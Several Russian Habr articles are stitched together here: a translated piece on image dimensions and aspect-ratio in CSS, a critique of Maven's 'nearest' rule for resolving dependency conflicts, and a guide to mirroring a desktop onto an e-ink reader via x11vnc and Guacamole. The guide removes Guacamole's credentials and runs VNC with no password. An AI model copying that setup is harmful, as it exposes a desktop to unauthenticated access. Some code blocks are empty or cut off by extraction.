Как вы могли заметить, влияние существенное - это будет особенно заметно на маломощных устройствах и при низкой скорости подключения. Время загрузки страницы будет существенно увеличено.
Как CSS работает с шириной и высотой элемента
---------------------------------------------
При попытке менять ширину и высоту изображения с помощью CSS, могут возникать неожиданные проблемы. Например, если нужно ограничить ширину, может использоваться следующий код:
```
img {
max-width: 100%;
}
```
Когда в этом возникает потребность, значение `width` переопределяется и ширина изображения ограничивается. Но если для тега `![]()` через атрибут `height` также задана и высота, она не будет переопределена и изображение в итоге получится вытянутым по высоте и сжатым по ширине, поскольку соотношение сторон картинки больше не сохраняется.
На самом деле, это очень легко исправить, добавив в CSS свойство `height: auto`, чтобы также переопределить значение заданного в HTML атрибута `height`.
```
img {
max-width: 100%;
height: auto;
}
```
Однако, не для всех этот факт является очевидным и думаю, что порой именно из-за такого поведения разработчики избегают задания размеров через HTML. Если в атрибутах изображения размеры не заданы, в CSS можно просто указать `max-width: 200px`, при этом явно не указывая `height: auto`, и браузер сам рассчитает нужную высоту, как только изображение загрузится.
Следовательно, если мы добавляем размеры через HTML-атрибуты и при этом используем трюк `height: auto`, то получаем лучшее из обоих миров, так? Раскладка страницы не смещается, но остаётся возможность менять размер через CSS. Что ж, возможно вы будете удивлены ([я был удивлён](https://twitter.com/tunetheweb/status/1220099923494035457?s=20), поэтому и решил написать эту статью), но до недавнего времени это было не так.
Для примера, рассмотрим код ниже:
```
img {
max-width: 100%;
height: auto;
}
Your title
==========
Introductory paragraph.
Lorem ipsum dolor sit amet, consectetur…
```
В данной ситуации загрузка будет происходить следующим образом:
Погодите-ка, что здесь происходит? Мы вернулись к первой проблеме. Я же говорил, что указывая размеры изображения в HTML, можно избежать проблем со смещением элементов страницы. Становится интересно. Мы переходим к основной части данной статьи.
Проблема в том, что если в CSS в свойствах `width` и `height` задаётся не фиксированное значение (а в наше время адаптивности фиксированные значения и не используются), при рендеринге страницы возникает потребность получить размеры изображения из самого файла, прежде чем размеры сторон смогут быть посчитаны. При этом атрибуты `width` и `height`, заданные в HTML, игнорируются.
Следствием всего этого является то, что на деле задавать атрибуты для изображений нередко оказывается не настолько важным. Да, когда изображение показывается в полный размер без изменения его размеров с помощью CSS, полезно решить проблему смещения раскладки. Однако, когда используется CSS-код, целью которого является, например, предотвращение переполнения изображением доступного пространства, вы столкнётесь с проблемами.
```
img {
max-width: 100%;
height: auto;
}
```
Это влияет на любую страницу, на которой мы ограничиваем размер изображения адаптивным образом - например, устройства с маленьким экраном. Именно эти пользователи больше всего пострадают от смещения раскладки, поскольку используют менее мощные устройства и интернет с низкой скоростью. Конечно, в идеале мы должны для экрана каждого размера предоставить соответствующее изображение, но охватить все варианты не получится, поэтому изображения будут нуждаться в изменении размера браузером, в особенности для мобильных устройств.
На многих веб-сайтах атрибуты `width` и `height` для тегов `![]()` не указываются. Это может происходить из-за того, что разработчики не знают об их пользе, или наоборот знали о том, что в большинстве случае в этом мало смысла. Какова бы не была причина, это встречается. Но как мы можем агитировать за это, если даже популярный инструмент аудита Lighthouse не считает данный момент ошибкой (хотя в свете некоторых моментов, о которых мы поговорим, уже обсуждается добавление данной оценки).
Решение проблемы
----------------
Ограничения для адаптивных изображений давно известны и были найдены способы решения этой проблемы, в том числе [хак с использованием padding-bottom](https://www.smashingmagazine.com/2013/09/responsive-images-performance-problem-case-study/). В нём используется тот факт, что значение для свойства `padding`, заданное в процентах, всегда высчитывается из ширины родительского контейнера. Следовательно, это можно использовать для создания контейнера, высота которого будет пропорциональна его ширине. Например, у нас есть изображение с соотношением сторон 16:9, тогда следующий код создаст для этого изображения контейнер соответствующего размера.
```
.img-container {
position: relative;
padding-bottom: 56.25%; /* соотношение 16:9 */
height: 0;
overflow: hidden;
}
.img-container img {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
```
У данной техники есть три основных проблемы:
1. Она требует ручного расчёта и перевода в проценты значения (например, для соотношения 16/9 нужно 9÷16\*100 = `56.25%`), что потенциально требует отдельного CSS-правила для каждого соотношения сторон.
2. Запомнить набор всех необходимых свойств непросто - если забыть добавить или случайно удалить какую-то строку кода из примера выше, всё сломается. Не говоря уже о том, что эта техника требует, чтобы все изображения были обёрнуты в дополнительный элемент-контейнер.
3. Данный подход известен и используется не всеми веб-разработчиками.
И давайте будем честны - это хак. И нам следовало бы писать код без его использования.
Проблема фиксированного соотношения сторон
------------------------------------------
Описанная выше проблема рассматривалась несколькими организациями по стандартизации.
Рабочая группа CSS (CSS Working Group) предложила свойство `aspect-ratio`, о котором [писала Rachel Andrew](https://www.smashingmagazine.com/2019/03/aspect-ratio-unit-css/). Как только браузеры начнут поддерживать его, будет решена проблема сложности кода и пример выше будет упрощён до следующего вида:
```
img {
width: 100%;
height: auto;
aspect-ratio: 16/9;
}
```
Намного лучше! Это особенно полезно для видео, где нам обычно доступен набор часто используемых соотношений сторон, позволяя создать несколько классов для каждого размера. Возможно, это менее полезно для изображений, где размеры менее стандартизированы, из-за чего остаются нерешёнными ни проблема №1 с необходимостью отдельного CSS-правила для каждого изображения, ни проблема №3 с необходимостью разработчикам не забывать применять этот код. Следовательно, это шаг вперёд, но пока что не решение всех проблем.
Помимо этого, [Web Incubator Community Group (WICG)](https://www.w3.org/community/wicg/) - группа разработчиков браузеров и других заинтересованных сторон, способных экспериментировать с технологиями ещё до формальной стандартизации - также предложили свой вариант решения. Речь об атрибуте `intrinsicsize`, который в коде выглядит следующим образом:
```
![]()
```
Так как это HTML-атрибут, он может быть установлен для каждого изображения (решая проблему №1 с необходимостью отдельного CSS-правила для каждого изображения) и относительно легко задаётся (решая проблему №2 с необходимостью запоминать большой объем кода), но всё ещё остаётся актуальной проблема с популярностью, если только сообщество не станет активно его продвигать.
У нас уже есть распространённый, хорошо известный метод установки `width` и `height` для элементов `![]()` (даже если он не используется так часто, как хотелось бы), поэтому другие подобные решения неизбежно будут испытывать проблемы с принятием. И вот тут сам собой появляется ответ (теперь кажущийся очевидным).
[Jen Simmons](https://twitter.com/jensimmons) предложила [элегантное и простое решение](https://github.com/WICG/intrinsicsize-attribute/issues/16), которое она придумала вместе с [fantasai](https://twitter.com/fantasai):
```
img {
width: 100%;
height: auto;
aspect-ratio: attr(width) / attr(height);
}
```
Вместо введения фиксированного значения свойства `aspect-ratio`, здесь используется CSS-функция `attr`, чтобы задать соотношение сторон, соответствующее атрибутам `width` и `height`, заданным в HTML. Функция `attr` уже некоторое время существует, но имеет очень ограниченную область применения - все браузеры поддерживают её при использовании [в свойстве "content"](https://caniuse.com/mdn-css_types_attr), например, `content: attr(width)`. Но для других свойств [это ещё не реализовано](https://caniuse.com/#feat=css3-attr).
Если бы функция `attr` работала и в других свойствах, с её помощью можно было получать значение атрибутов `width` и `height` и использовать для расчёта значения свойства `aspect-ratio`, как в примере выше. Это решило бы проблему №1 (не требовалось бы вручную задавать соотношение сторон ни в HTML, ни в CSS), проблему №2 (небольшой объем кода для запоминания) и, как мы увидим дальше, это очень простое решение проблемы №3 (принятие разработчиками).
По сути, это решение значит, что если следующие четыре условия соблюдены, то правильные размеры изображения могут быть вычислены без необходимости ждать загрузки изображения, а значит и без риска смещения раскладки:
* для элемента задан HTML-атрибут `height`
* для элемента задан HTML-атрибут `width`
* `height` (или `width`) задаётся в CSS - в том числе, с использованием процентных значений вида `max-width: 100%`
* `width` (или `height`) устанавливается на `auto` в CSS
Если какое-то из них не было задано, вычислить значение будет невозможно, а следовательно, будет проигнорировано с дальнейшим ожиданием загрузки изображения.
Как только браузеры смогут использовать `width` и `height` для определения соотношения сторон изображения, мы сможем решить проблему, практически не меняя HTML и с помощью одной строки CSS-кода. Как упоминалось выше, возможно, некоторые разработчики считают, что это происходит уже сейчас.
Стимулирование использования этого решения
------------------------------------------
Поскольку предложенное решение - это просто работа CSS-стилей, в итоге пришли к тому, что его можно было просто добавить в таблицу стилей браузера, что не требовало бы от разработчиков никаких усилий для получения преимуществ.
Таблица стилей браузера - место, где заданы CSS-стили по умолчанию (например, какой `font-size` у элемента `h1`). При необходимости, их можно переопределить собственными правилами оформления. Добавляя вышеупомянутое свойство `aspect-ratio`, нам не нужно стимулировать использование этого решения разработчиками - мы, по сути, автоматически включаем его для всех сайтов, которые соответствуют четырём указанным выше условиям.
Однако, это зависит от функции `attr`, имеющей доступ к HTML-атрибутам `width` и `height`, и от свойства `aspect-ratio` - ни то, ни другое ещё полностью браузерами не поддерживается. Поэтому вместо этого, в качестве более простого решения, браузеры могут заложить такое поведение в коде рендеринга страницы, а не раскрывать его в таблицах стилей браузера, но эффект будет тот же. Такой альтернативный способ реализации даже был [частью основного предложения](https://github.com/WICG/intrinsicsize-attribute/issues/16#issuecomment-499935868).
[Firefox первым реализовал этот принцип в виде эксперимента](https://bugzilla.mozilla.org/show_bug.cgi?id=1547231), после чего [включил его по умолчанию в Firefox 71](https://bugzilla.mozilla.org/show_bug.cgi?id=1585637). Как только это было сделано, ваш сайт мог стать немного быстрее и удобнее. Возможно, в будущем это будет реализовано через таблицы стилей браузера, но пока что спасибо и на этом.
Обратная совместимость
----------------------
При внесении изменений в поведение, всегда возникает беспокойство по поводу обратной совместимости, и эта функция не является исключением. В теории, если все четыре атрибута заданы правильно, проблем быть не должно.
Тем не менее, когда Firefox начали экспериментировать, обнаружились проблемы там, где `width` и `height` были заданы неправильно. Если раньше эти некорректные значения при переопределении CSS-стилями игнорировались бы, то теперь при установке значения `auto` они продолжали использоваться, что приводило к искажению пропорций изображения. Вы можете возразить, что разработчикам просто следует задавать правильные значения, а в некоторых случаях проблемы могут возникать и сейчас (как в приведённом выше примере, где не установили `height: auto`). Но и повышать риск сломать разметку из-за небольшой ошибки - идея плохая. Это то, чего в вебе очень стараются избегать.
Решение этой проблемы относительно простое: пусть фактическое соотношение сторон изображения переопределяет значение, вычисленное в CSS. Таким образом, неправильно рассчитанное соотношение сторон будет использоваться для первоначально отрисованной страницы, но потом может быть пересчитано, когда изображение всё же загрузится. Это действительно может приводить к смещению макета (поскольку изначально выделенное может оказаться неправильным), но ведь так было и раньше. А в конечном счёте это ещё и лучше, поскольку неправильное соотношение сторон часто будет ближе к истине, чем нулевая начальная высота.
Внедрение в других браузерах
----------------------------
После успешного эксперимента Firefox, [в Chrome также решили это реализовать](https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/hbhKRuBzZ4o/pmehGGHKAAAJ) (снова-таки, пока что с помощью изменения метода рендеринга, а не таблиц стилей браузера) и [запустили по умолчанию в Chrome 79](https://chromestatus.com/feature/5695266130755584). Недавно, в январе 2020, Apple добавила данный функционал в Tech Preview версию Safari, так что вскоре он может появиться и в стабильной версии. Это будет значить, что последний из основных браузеров реализует это и веб станет лучше при использовании огромного количества сайтов.
Ограничения
-----------
При использовании данного функционала следует помнить о некоторых ограничениях, включая проблемы с:
* Art Direction
* Ленивой загрузкой
* Не изображениями
### Art Direction
Фикс отлично работает для расчёта соотношения сторон, основанном на фиксированных `width` и `height`, но что если они меняются? Это называю [art direction](https://html.spec.whatwg.org/multipage/images.html#art-direction) - ниже показан пример:
В этом случае мы используем широкое изображение для десктопов, а для мобильных - обрезанное квадратное. Адаптивность изображений может быть реализована с помощью атрибутов `srcset` элемента `![]()`:
```
```
или с помощью элемента :
```
```
В настоящее время оба эти элемента позволяют задавать в теге `![]()` атрибуты `width` и `height` только один раз. Также, их нельзя задавать в . Уже было предложено добавить возможность делать это, но пока что использование адаптивных изображений разных размеров всё равно будет приводить к смещению раскладки.
### Ленивая загрузка
Данный функционал отлично сочетается с ленивой загрузкой. В идеале, при ленивой загрузке все изображения должны загружаться при прокрутке страницы по мере приближения к области видимости, но всё же за её пределами. Но порой это не происходит, если пользователь, например, очень быстро прокручивает страницу или скорость соединения слишком мала. Наличие правильно заданного пространства, по крайней мере, поможет избежать смещения раскладки после загрузки изображения. Кроме того, даже когда загрузка происходит за пределами области видимости, смещение раскладки может быть дорогостоящим с точки зрения затрат ресурсов процессора. Это было показано выше.
Некоторые техники ленивой загрузки могут включать отсутствие элемента `![]()` или, по крайней мере, атрибута `src` (для предотвращения загрузки изображения браузером по умолчанию). Следовательно, в предложенных нововведениях может и не быть существенной пользы, в зависимости от того, как браузер обрабатывает элемент `![]()`, с атрибутом `src` или без него. Хотя, если данное CSS-решение станет доступным, разработчики получат больше контроля над соотношением сторон.
Недавно командой Chrome была внедрена [встроенная ленивая загрузка](https://web.dev/native-lazy-loading/), после чего она была [добавлена в спецификацию HTML](https://github.com/whatwg/html/pull/3752#issuecomment-585202516). Вскоре эта функция появится и в [Firefox](https://bugzilla.mozilla.org/show_bug.cgi?id=1542784) а затем, надеюсь, и в [Safari](https://bugs.webkit.org/show_bug.cgi?id=200764). В этом случае используется элемент `![]()` с атрибутом `src` с примерно следующим синтаксисом:
```
```
Отлично. Что ж, к сожалению, я обнаружил, что это решение с высотой и шириной несовместимо с ранее добавленным встроенным функционалом ленивой загрузки, в чём можно убедиться [на этой тестовой странице](https://www.tunetheweb.com/experiments/test_image_ratios.html). Я [сообщил об этой ошибке](https://bugs.chromium.org/p/chromium/issues/detail?id=1045745) и надеюсь, что команда Chrome исправит её (**Update**: было исправлено в Chrome 83).
### Не изображения
В данный момент браузеры, которые реализовали данный функционал, сделали это только для элемента `![]()`, но это также было бы полезно и для элементов , и и этот вопрос обсуждается. Снова-таки, если данное CSS-решение станет доступным через функцию `attr` и свойство `aspect-ratio`, разработчики смогут реализовать его для любых необходимых элементов.
Заключение
----------
Мне нравятся улучшения, которые работают без каких-либо усилий со стороны владельцев веб-сайтов. Конечно, я не говорю, что всю работу должны делать разработчики браузеров и команды, занимающиеся стандартизацией, но часто наиболее сдерживающим фактором является необходимость начать массовое использование новых решений в коде. Чем меньше будет барьеров, тем больше вероятность, что новые решения будут приняты. Устранение сдвигов раскладки при использовании адаптивных изображений кажется одним из таких улучшений.
Единственное что потребуется от веб-разработчиков, - задавать атрибуты `width` и `height` в разметке. Нам не следует отказываться от этой привычки, а многие CMS лишь помогают в этом. Согласно данным [HTTPArchive](https://httparchive.org/), 62% тегов`![]()` имеют ширину или высоту, что намного выше, чем я ожидал, если честно. Но давайте попробуем увеличить эту статистику еще больше, теперь у нас снова есть причина для этого. Итак, я призываю вас делать это при разработке сайтов. Это улучшит удобство ваших пользователей и, в конечном итоге, сделает их счастливее, а не к этому ли мы все стремимся?
> *От переводчика:*
>
> Мне написал [@Alexandr\_Mi](/users/alexandr_mi), указав на ещё один вариант решения данной проблемы с помощью "data: image / svg + xml + lazyload".
>
> [Подробнее в заметке на Reddit](https://www.reddit.com/r/Frontend/comments/jtfqrd/how_can_i_give_the_height_to_the_image/)
>
> | https://habr.com/ru/post/524918/ | null | ru | null |
# Разрешение конфликтов в транзитивных зависимостях — Хороший, Плохой, Злой
#### Вместо предисловия
В ближайшую субботу мы с [EvgenyBorisov](https://habrahabr.ru/users/evgenyborisov/) будем [выступать в Питере на JUG.ru](http://jugru.timepad.ru/event/72119/). Будет много веселого трэша и интересной инфы (иногда не разберешь, где проходит граница), и одно из моих выступлений будет посвящено WTF-нутости модульной разработки программ. Я расскажу несколько ужастиков, один из которых будет о том, как все пытаются быстро, гибко и корректно описать зависимости в проекте, и что из этого обычно получается. Интересно? Тогда добро пожаловать в ад!
Скорее, конечно, «Хороший, Удобный и WTF-ный».
#### Чуть-чуть теории...
###### Что Такое Менеджер Зависимостей и Зачем Он Нужен?
Любой современный инструмент сборки (особенно в мире JVM) включает в себя (либо имеет легко подключающийся) менеджер зависимостей (a.k.a. dependency manager). Самые известные, это, конечно, [Apache Maven](http://maven.apache.org/), [Apache Ivy](http://ant.apache.org/ivy) (менеджер зависимостей для Apache Ant), и [Gradle](http://gradle.org/).
Одна из главных функций инструментов сборки в мире JVM это создавать classpath-ы. Используются они во время процесса сборки много где — для компиляции кода, для запуска тестов, для сборки архивов (war-ов, ear-ов, или дистирбутивов и установщиков) и даже для настройки проектов в IDE.
Для облегчения процесса нахождения в сети, скачивания, хранения и конфигурации зависимостей и существуют менеджеры зависимостей. Вы декларируете, что вам нужен, например, `commons-lang`, и вуаля, он у вас есть.
###### Что такое транзитивные зависимости?
Транзитивная зависимость — это тот артефакт, от которого зависит прямая зависимость проекта. Представьте себе следующую ситуацию:
Наш проект `A` зависит от двух артефактов — `E` и `B`. На этом прямые зависимости заканчиваются и начинаются [транзитивные](http://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D0%B7%D0%B8%D1%82%D0%B8%D0%B2%D0%BD%D0%BE%D1%81%D1%82%D1%8C) (`C, D`). В итоге мы получаем цепочки зависимостей, артефакты в которых могут повторяться (`D`, в нашем примере)
###### Зачем нужны транзитивные зависимости?
Очевидно, не для компиляции. Но, для всего остального, пожалуй, нужны — эти артефакты должны находиться в сборках архивов, они должны находиться в classpath для запуска тестов, и пути к ним должны быть отданы через API для интеграции с IDE.
###### Как может образоваться конфликт?
Если мы посмотрим на диаграмму выше, то увидим тот самый конфликт. В classpath проекта `A` должны находиться и артефакт `D` версии 1 (от него зависит Е), и артефакт `D` версии 2 (от него зависит `C`)!
###### Почему это плохо?
JVM (и javac) определяет уникальность класса по его имени (и classloader-у, но в нашем простом примере все классы загружаются одним classloader-ом). В случае, когда в classpath встречаются два класса с одинаковым именем, загружен будет только первый. Если предположить, что в `D1` и в `D2` находятся классы с одинаковым именем (согласитесь, скорее всего, так и есть), то класс из jar-а, который будет прописан в сгенерированном classpath-е вторым просто не будет загружен. Какой из них будет первый? Это зависит от логики менеджера зависимостей и, в общем случае, неизвестно.
Как вы понимаете, это и есть конфликт:
#### Что делать?
Кто виноват понятно (Java, а не те, о ком вы подумали), а вот что можно сделать?
Есть несколько стратегий разрешения конфликтов в транзитивных зависимостях (некоторые из них логичные, другие — абсурдные), но, естественно, серебряной пули нет. Давайте посмотрим на некоторые из них:
* **Latest**. Стратегия «Новейший» подразумевает обратную совместимость. Если D2 полностью совместим с D1, то оставив в classpath только более новый артефакт (D2) мы получим корректную работу C (ведь он написан под D2), но и корректную работу E (ведь если D2 обратно-совместим, то он работает точно так-же как D1, под который и написан E). Эта стратегия бывает двух подвидов — новейший по версии, и новейший по дате. Чаще всего они сработают одинаково (кроме случаев, в которых нет).
*В случае нашего примера, при использовании latest в classpath окажется D2.*
* **Fail** (a.k.a. Strict). При этой стратегии сборка упадет в тот момент, когда менеджер зависимостей обнаружит конфликт. Естественно, самая безопасная, но и самая трудоемкая стратегия.
*В случае нашего примера, при использовании fail сборка упадет.*
* **All** (a.k.a. No-conflict). «И то, и другое, и можно без хлеба» значит, что и D1 и D2 из нашего примера окажутся в classpath-е (в произвольном порядке). Ад? Ад! Но в случае использования технологий изолирования classpath-а (путем загрузки разных модулей разными classloader-ами), вполне может быть не только полезен, но и необходим.
*В случае нашего примера, при использовании all в classpath окажутся и D1, и D2.*
* **Nearest**. Стратегия «Ближайший» это целиком и полностью великолепный WTF, про который я с удовольствием расскажу ниже. Stay tuned.
* **Custom**. В этом случае менеджер зависимостей спросит у вас, что изволит барин. Это, конечно, «ручное управление», но иногда может быть весьма полезно. Вот пример псевдокода на псевдогруви:
```
coflictManager = {artifact, versionA, versionB ->
//допустим, я полагаюсь на обратную совместимость только библиотек Apache, но не остальных
if(artifact.org.startsWith ('org.apache')){
[versionA, versionB].max()
} else {
fail()
}
}
```
*В случае нашего примера, при использовании этой имплементации custom, если предположить что org у D1 и D2 начинается с 'org.apache', то в classpath окажется D2, в противном случае, сборка упадет.*
#### Kто во что горазд
Теперь давайте посмотрим, кто из [Дер Гроссе Тройки](http://youtu.be/Bxhs8jMnC7w) упомянутой выше, что умеет.
##### Apache Ivy
В плане [менеджеров конфликтов](http://ant.apache.org/ivy/history/latest-milestone/settings/conflict-managers.html) Ivy прекрасен. Они подключаемы, оба варианта latest, а так же fail и all идут в коробке. С custom-ом тоже всё красиво. Можно полностью имплементировать свою логику, а можно воспользоваться полуфабрикатом и лишь придумать подходящий regex. По умолчанию работает latest (по версии).
##### Gradle
В первых версиях Gradle (до 0.6, если мне не изменяет память) использовался Ivy как менеджер зависимостей. Соответственно, всё сказанное выше было верно для Gradle тоже, но ребята из Gradleware написали свой менеджер зависимостей (в основном из за проблем с локальным хранилищем Ivy при параллельной сборкe, одного из главных преимуществ Gradle). В процессе выпуска своего менеджера такие «второстепенные» фичи как замена менеджера конфликтов были задвинуты далеко в roadmap, и довольно долгое время Gradle существовал только с latest. Не нравится latest — отключай транзитивные зависимости, и вперед, перечислять всё в ручную. Но, сегодня всё в порядке. Начиная с 1.0 есть [fail](http://www.gradle.org/docs/current/dsl/org.gradle.api.artifacts.ResolutionStrategy.html#org.gradle.api.artifacts.ResolutionStrategy:failOnVersionConflict%28%29), а с 1.4 и [custom](http://www.gradle.org/docs/current/userguide/userguide_single.html#N14F71) тоже.
##### Apache Maven
~~Ну, ради следующей картинки и был задуман весь пост.~~
Как вы считаете, какая из версий D попадет в classpath? D1? D2? обе? ни одной? сборка упадет?
Как вы уже, наверняка, догадались, **в classpath попадет D1** (что с огромной вероятностью приведет к проблемам, потому что весь код в C, написанный под новую функциональность, которой не существует в D1, просто упадет). Это тот самый чудесный WTF, который я вам обещал. Maven работает с уникальной стратегией [nearest](http://maven.apache.org/guides/introduction/introduction-to-dependency-mechanism.html), которая выбирает в classpath тот артефакт, который находится ближе к корню проекта (А) в дереве проектов.
###### Как же так? Что за ерунда?
Корень проблемы лежит в трудности исключения зависимости в Maven. Если, например, вы хотите использовать D2, а не D1, то, по хорошему, вы должны сказать Maven-у: Дорогой Maven, никогда не используй D1. Просто для примера, в Gradle мы бы написали вот так:
```
configurations {all*.exclude group: 'mygroup', module: 'D', version: '1'}
```
Проблема в том, что выразить это в Maven нельзя никак. (Опытный, и потому внимательный и вдумчивый пользователь Maven-а воскликнет здесь «А как же enforcer-plugin?!» И будет [неправ](http://habrahabr.ru/company/codefreeze/blog/191246/#comment_6648760)). Можно сказать конкретно модулю E: «ты думал у тебя есть зависимость на D? Так вот, ее нет». Это хороший выход, конфликта больше нет, D2 в classpath, win. Но это решение совершенно не масштабируемо. Что если от D1 зависят десятки артефактов? На разных уровнях транзитивности?
###### Ну, и причем тут nearest?
Проблема отсутствия глобального exclude была решена в Maven-е очень «интересным» способом. Было решено, что если вы объявили в вашем проекте А зависимость с определенной версией, то только эта версия и попадет в classpath. То есть практически, это ультимативный nearest — ближе чем в A быть не может (это root), поэтому конфликт решён, не нужно искать все места откуда нужно исключать D. По дороге, правда, мы получили очень странное и трудно-предсказуемое поведение в тех случаях, когда A не объявляет D напрямую (см. наш пример), но что есть, то есть.
Достаточно интересно, что идея «то, что пользователь объявил сам — закон» используется в Gradle тоже, и это не мешает им использовать вменяемые стратегии типа latest и fail для всего остального.
Update: несколько человек в комментах напомнили, что у [enforcer-plugin есть функциональность fail](http://habrahabr.ru/company/codefreeze/blog/191246/?reply_to=6649496#comment_6649496) Это частично решает проблему. Остается: 1. дикий nearest по умолчанию. 2. варианты решения проблемы — прописывать все конфликтующие зависимости в своем проекте (сносно), либо бесконечные exclude-ы (адово).
###### А если одинаковая глубина?
Этот прекрасный вопрос (что делать, если бы в нашем примере B зависел от D2) не приходил ребятам из Maven-а в голову на протяжении двух с половиной лет (от релиза 2.0 в октябре 2005 и до версии 2.0.9 в апреле 2008) и какой артефакт будет в classpath было просто *неопределенно*. В Maven 2.0.9 было принято волевое решение — будет первый!
Как это нам помогает? Правильно, никак. Потому что мы в общем случае не знаем, какой из них будет первый, ведь транзитивные зависимости не проявляют себя пока не случается конфликт (либо пока мы не начинаем расследовать эту загадку). Спасибо, пацаны!
#### Вместо эпилога
WTF-нутость Maven-а, естественно, не ограничивается чудесным порождением альтернативного разума — стратегией nearest. Но на сегодня, я думаю, хватит. Холивары в комментах всячески приветствуются (если что, я притоплю за Gradle), а все питерцы приходят на JUG в субботу 31 числа в ПетроКонгресс на продолжение банкета. | https://habr.com/ru/post/191246/ | null | ru | null |
# Видео на электронной книжке. Попытка использовать е-ink reader в качестве второго монитора в linux
Данное сочинение навеяно вот [этой публикацией](https://habrahabr.ru/post/274831/) за 2012 год, в которой изложен отличный способ избежать покупки пока единственного существующего в мире usb-монитора на жидких чернилах очень высокой стоимости. Марку, модель и цену озвучивать не буду. Если читать историю ночных экспериментов желания нет, то в конце страницы есть видео с результатом.
Сама идея
---------
Мне давно было интересно, как можно попытаться использовать e-ink reader в качестве второго монитора. Чтобы ничего не разбирать, не брать в руки паяльник и не пугать соседей запахом колофонской смолы, пришлось некоторое время порыскать в Интернете в поисках возможных решений. И решение нашлось, хотя и не такое привлекательное, как подключение электронной книги напрямую. И это решение в принципе уже довольно давно известно — это связка программ, позволяющая управлять рабочим столом через брузер.
Суповой набор
-------------
1) **x11vnc** — сервер удаленного рабочего стола
2) **apache** веб-сербвер
3) **tomcat** — «контейнер сервлетов с открытым исходным кодом, разрабатываемый Apache Software Foundation. Реализует спецификацию сервлетов и спецификацию JavaServer Pages (JSP) и JavaServer Faces (JSF)». *Источник: Википедия*
4) **guacamole** — программа для обеспечения удалённого доступа к рабочему столу с использованием в качестве клиента обычного web-браузера. «Написан на языках Си, Java и JavaScript, и реализует прослойку, позволяющую организовать управление рабочим столом из web-браузера. Для присоединения к рабочему столу в прослойке поддерживаются штатные протоколы VNC, RDP и SSH». Источник: [Opennet](http://www.opennet.ru/opennews/art.shtml?num=44473).
Стоит добавить: в репозитариях есть две программы **guacamole-server и guacamole**.
**Для тех, кто не в теме:**
**\***Все программы устанавливаются на ноутбук, нетбук и т.д.
**\*\***На саму элекронную книгу ничего устанавливать не требуется.
**\*\*\*** Данное решение является платформонезависимым. Linux, Windows — не имеет значения.
Как делать, как делалось, что получилось, а что не совсем
---------------------------------------------------------
1) Установку tomcat можно осуществить с помощью пакетного менеджера вашего дистрибутива или скачать прямо с официального сайта.
Я воспользовался [следующим руководством](https://habrahabr.ru/post/196136/) и распаковал архива в **/usr/local/share**, путь у меня получился такой:
**/usr/local/share/apache-tomcat-7.0.82**
2) Далее можно настроить файл **/usr/local/share/apache-tomcat-7.0.82/conf/server.xml**.
At your option! Я не стал ничего менять.
3) **/usr/local/share/apache-tomcat-7.0.82/conf/tomcat-users.xml**. Сюда можно только добавить пользователя. Я добавил строки, которые мне были предложены в качестве примера на странице с ошибкой авторизации, примерно так (читателю предлгается действовать, опираясь на собственный уровень понимания):
```
здесь. И здесь же лежит инструкция по обращению с этим файлом. Кратко: его нужно скопировать в директорию **/usr/local/share/apache-tomcat-7.0.82/webapps**
**Важно!** Если файл имеет другое название, переименовать в **guacamole.war**
**Важно! guacamole.war должен соответствовать версии guacamole-server**.
Помимо сказанного выше я клонировал эту ветку:
clone git://github.com/apache/incubator-guacamole-client.git
5) В этом пункте предлагаю отредактировать файл:
**nano /etc/guacamole/user-mapping.xml**
На ваше усмотрение. Я просто удалил логин и пароль в первой записи:
```
vnc
localhost
5900
```
Старт
-----
6) Теперь можно запустить **x11vnc**
Я запускал так, от обычного пользователя:
**x11vnc -notruecolor -forever**
Последний флаг, чтобы сервер не останавливался при разрывах связи с клиентом. Порт по умолчанию 5900.
7) Запуск guacamole-server. Не знаю, как это осуществляется в других дистрибутивах, в Calculate Linux это делается так:
**/etc/init.d/guacd start**
Если все удачно, то получаем такой вывод:
> guacd | \* Starting guacd…
>
> guacd |guacd[9345]: INFO: Guacamole proxy daemon (guacd) version 0.9.9 started
>
>
8) Запускаем tomcat:
**/usr/local/share/apache-tomcat-7.0.82/bin/startup.sh**
Выключается так:
**/usr/local/share/apache-tomcat-7.0.82/bin/shutdown.sh**
Если все удачно, то вывод имеем:
```
/usr/local/share/apache-tomcat-7.0.82/bin/startup.sh
Using CATALINA_BASE: /usr/local/share/apache-tomcat-7.0.82
Using CATALINA_HOME: /usr/local/share/apache-tomcat-7.0.82
Using CATALINA_TMPDIR: /usr/local/share/apache-tomcat-7.0.82/temp
Using JRE_HOME: /etc/java-config-2/current-system-vm
Using CLASSPATH: /usr/local/share/apache-tomcat-7.0.82/bin/bootstrap.jar:/usr/local/share/apache-tomcat-7.0.82/bin/tomcat-juli.jar
Tomcat started.
```
9) Набираем в браузере <http://you_ip:8080/guacamole/>
Если видим приглашение к вводу логина и пароля, то можно смело заходить. Но лучше со стороннего устройства, ибо есть вероятность схватить рекурсию.
10) Далее предполагается у читателя наличие электронной книги c WiFi-модулем и браузером, имеющим поддержку JavaScript, так как в guacamole используется либимый всеми Аjax, который и организует работу нашего ~~псевдо~~второго дисплея. Для неспециалистов по веб-технологиям добавлю: способность Ajax автоматически с некоторым интервалом обновлять содержимое страницы выступает в роли основной технологии эмуляции второго монитора. Итак, В квартире автора нашлись две книжки: **Sony PRS-T2 и PocketPro 612**.
Оба устройства оказались пригоды для подключения к рабочему столу нетбука.
***Результат на видео:***
Что не получилось?
------------------
На PocketPro браузер периодически вполне предсказуемо падает. На Sony происходит разрыв соединения. Проблема частично решается автоматическим переподключением.
Заключение
----------
В целом результат приемлем для чтения, просмотра чего-нибудь в браузере, набора текста (если совсем неспешно) и некоторых несложных операций на ~~псевдо~~удаленной машине, но есть над чем подумать… ну и на прощание: «спасибо, что купили у нас телевизор и читаете эту инструкцию» (С) хоку из телепередачи «Городок».
Update
------
Время отклика при наборе текста: (нашел еще один ридер у родственников)
На всякий случай: нетбук и ридер подкючены по WiFi через маршрутизатор.
И велосипед стал трехколёсным
-----------------------------
Чтобы было еще интересней, — при запуске x11vnc можно добавить флаг **-shared**,
тогда можно подключиться к компьютеру с нескольких устройств, включая смартфон.
Теперь возможно основной экран не задействовать совсем, перемещение курсора и все
действия мышью можно выполнять, поглядывая на экран смартфона.
Попытка поиграть в 3D игру 1990-х годов
---------------------------------------
``` | https://habr.com/ru/post/341748/ | null | ru | null |
# BotAuth — вход и регистрация при помощи ботов
